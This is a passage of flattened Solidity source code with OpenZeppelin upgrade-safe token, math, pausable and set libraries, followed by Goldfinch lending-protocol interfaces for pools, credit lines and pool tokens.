`/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.0; import "../access/AccessControl.sol"; import "../GSN/Context.sol"; import "../token/ERC20/ERC20.sol"; import "../token/ERC20/ERC20Burnable.sol"; import "../token/ERC20/ERC20Pausable.sol"; import "../Initializable.sol"; /** * @dev {ERC20} token, including: * * - ability for holders to burn (destroy) their tokens * - a minter role that allows for token minting (creation) * - a pauser role that allows to stop all token transfers * * This contract uses {AccessControl} to lock permissioned functions using the * different roles - head to its documentation for details. * * The account that deploys the contract will be granted the minter and pauser * roles, as well as the default admin role, which will let it grant both minter * and pauser roles to aother accounts */ contract ERC20PresetMinterPauserUpgradeSafe is Initializable, ContextUpgradeSafe, AccessControlUpgradeSafe, ERC20BurnableUpgradeSafe, ERC20PausableUpgradeSafe { bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); /** * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the * account that deploys the contract. * * See {ERC20-constructor}. */ function initialize(string memory name, string memory symbol) public { __ERC20PresetMinterPauser_init(name, symbol); } function __ERC20PresetMinterPauser_init(string memory name, string memory symbol) internal initializer { __Context_init_unchained(); __AccessControl_init_unchained(); __ERC20_init_unchained(name, symbol); __ERC20Burnable_init_unchained(); __Pausable_init_unchained(); __ERC20Pausable_init_unchained(); __ERC20PresetMinterPauser_init_unchained(name, symbol); } function __ERC20PresetMinterPauser_init_unchained(string memory name, string memory symbol) internal initializer { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); _setupRole(PAUSER_ROLE, _msgSender()); } /** * @dev Creates `amount` new tokens for `to`. * * See {ERC20-_mint}. * * Requirements: * * - the caller must have the `MINTER_ROLE`. */ function mint(address to, uint256 amount) public { require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have minter role to mint"); _mint(to, amount); } /** * @dev Pauses all token transfers. * * See {ERC20Pausable} and {Pausable-_pause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function pause() public { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to pause"); _pause(); } /** * @dev Unpauses all token transfers. * * See {ERC20Pausable} and {Pausable-_unpause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function unpause() public { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to unpause"); _unpause(); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal override(ERC20UpgradeSafe, ERC20PausableUpgradeSafe) { super._beforeTokenTransfer(from, to, amount); } uint256[50] private __gap; } pragma solidity ^0.6.0; import "../../GSN/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; import "../../Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20MinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20UpgradeSafe is Initializable, ContextUpgradeSafe, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name, string memory symbol) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name, symbol); } function __ERC20_init_unchained(string memory name, string memory symbol) internal initializer { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[44] private __gap; } pragma solidity ^0.6.0; import "../../GSN/Context.sol"; import "./ERC20.sol"; import "../../Initializable.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20BurnableUpgradeSafe is Initializable, ContextUpgradeSafe, ERC20UpgradeSafe { function __ERC20Burnable_init() internal initializer { __Context_init_unchained(); __ERC20Burnable_init_unchained(); } function __ERC20Burnable_init_unchained() internal initializer { } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } uint256[50] private __gap; } pragma solidity ^0.6.0; import "./ERC20.sol"; import "../../utils/Pausable.sol"; import "../../Initializable.sol"; /** * @dev ERC20 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC20PausableUpgradeSafe is Initializable, ERC20UpgradeSafe, PausableUpgradeSafe { function __ERC20Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); __ERC20Pausable_init_unchained(); } function __ERC20Pausable_init_unchained() internal initializer { } /** * @dev See {ERC20-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { super._beforeTokenTransfer(from, to, amount); require(!paused(), "ERC20Pausable: token transfer while paused"); } uint256[50] private __gap; } pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.6.2; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of NFTs in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the NFT specified by `tokenId`. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * * * Requirements: * - `from`, `to` cannot be zero. * - `tokenId` must be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this * NFT by either {approve} or {setApprovalForAll}. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * Requirements: * - If the caller is not `from`, it must be approved to move this NFT by * either {approve} or {setApprovalForAll}. */ function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } pragma solidity ^0.6.0; import "../GSN/Context.sol"; import "../Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract PausableUpgradeSafe is Initializable, ContextUpgradeSafe { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } pragma solidity ^0.6.0; import "../Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ contract ReentrancyGuardUpgradeSafe is Initializable { bool private _notEntered; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. _notEntered = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _notEntered = false; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // Taken from https://github.com/compound-finance/compound-protocol/blob/master/contracts/CTokenInterfaces.sol pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "./IERC20withDec.sol"; interface ICUSDCContract is IERC20withDec { /*** User Interface ***/ function mint(uint256 mintAmount) external returns (uint256); function redeem(uint256 redeemTokens) external returns (uint256); function redeemUnderlying(uint256 redeemAmount) external returns (uint256); function borrow(uint256 borrowAmount) external returns (uint256); function repayBorrow(uint256 repayAmount) external returns (uint256); function repayBorrowBehalf(address borrower, uint256 repayAmount) external returns (uint256); function liquidateBorrow( address borrower, uint256 repayAmount, address cTokenCollateral ) external returns (uint256); function getAccountSnapshot(address account) external view returns ( uint256, uint256, uint256, uint256 ); function balanceOfUnderlying(address owner) external returns (uint256); function exchangeRateCurrent() external returns (uint256); /*** Admin Functions ***/ function _addReserves(uint256 addAmount) external returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; abstract contract ICreditDesk { uint256 public totalWritedowns; uint256 public totalLoansOutstanding; function setUnderwriterGovernanceLimit(address underwriterAddress, uint256 limit) external virtual; function drawdown(address creditLineAddress, uint256 amount) external virtual; function pay(address creditLineAddress, uint256 amount) external virtual; function assessCreditLine(address creditLineAddress) external virtual; function applyPayment(address creditLineAddress, uint256 amount) external virtual; function getNextPaymentAmount(address creditLineAddress, uint256 asOfBLock) external view virtual returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; interface ICreditLine { function borrower() external view returns (address); function limit() external view returns (uint256); function interestApr() external view returns (uint256); function paymentPeriodInDays() external view returns (uint256); function termInDays() external view returns (uint256); function lateFeeApr() external view returns (uint256); // Accounting variables function balance() external view returns (uint256); function interestOwed() external view returns (uint256); function principalOwed() external view returns (uint256); function termEndTime() external view returns (uint256); function nextDueTime() external view returns (uint256); function interestAccruedAsOf() external view returns (uint256); function lastFullPaymentTime() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol"; /* Only addition is the `decimals` function, which we need, and which both our Fidu and USDC use, along with most ERC20's. */ /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20withDec is IERC20 { /** * @dev Returns the number of decimals used for the token */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "./IERC20withDec.sol"; interface IFidu is IERC20withDec { function mintTo(address to, uint256 amount) external; function burnFrom(address to, uint256 amount) external; function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; interface IGoldfinchConfig { function getNumber(uint256 index) external returns (uint256); function getAddress(uint256 index) external returns (address); function setAddress(uint256 index, address newAddress) external returns (address); function setNumber(uint256 index, uint256 newNumber) external returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; interface IGoldfinchFactory { function createCreditLine() external returns (address); function createBorrower(address owner) external returns (address); function createPool( address _borrower, uint256 _juniorFeePercent, uint256 _limit, uint256 _interestApr, uint256 _paymentPeriodInDays, uint256 _termInDays, uint256 _lateFeeApr ) external returns (address); function createMigratedPool( address _borrower, uint256 _juniorFeePercent, uint256 _limit, uint256 _interestApr, uint256 _paymentPeriodInDays, uint256 _termInDays, uint256 _lateFeeApr ) external returns (address); function updateGoldfinchConfig() external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; abstract contract IPool { uint256 public sharePrice; function deposit(uint256 amount) external virtual; function withdraw(uint256 usdcAmount) external virtual; function withdrawInFidu(uint256 fiduAmount) external virtual; function collectInterestAndPrincipal( address from, uint256 interest, uint256 principal ) public virtual; function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool); function drawdown(address to, uint256 amount) public virtual returns (bool); function sweepToCompound() public virtual; function sweepFromCompound() public virtual; function distributeLosses(address creditlineAddress, int256 writedownDelta) external virtual; function assets() public view virtual returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC721/IERC721.sol"; interface IPoolTokens is IERC721 { event TokenMinted( address indexed owner, address indexed pool, uint256 indexed tokenId, uint256 amount, uint256 tranche ); event TokenRedeemed( address indexed owner, address indexed pool, uint256 indexed tokenId, uint256 principalRedeemed, uint256 interestRedeemed, uint256 tranche ); event TokenBurned(address indexed owner, address indexed pool, uint256 indexed tokenId); struct TokenInfo { address pool; uint256 tranche; uint256 principalAmount; uint256 principalRedeemed; uint256 interestRedeemed; } struct MintParams { uint256 principalAmount; uint256 tranche; } function mint(MintParams calldata params, address to) external returns (uint256); function redeem( uint256 tokenId, uint256 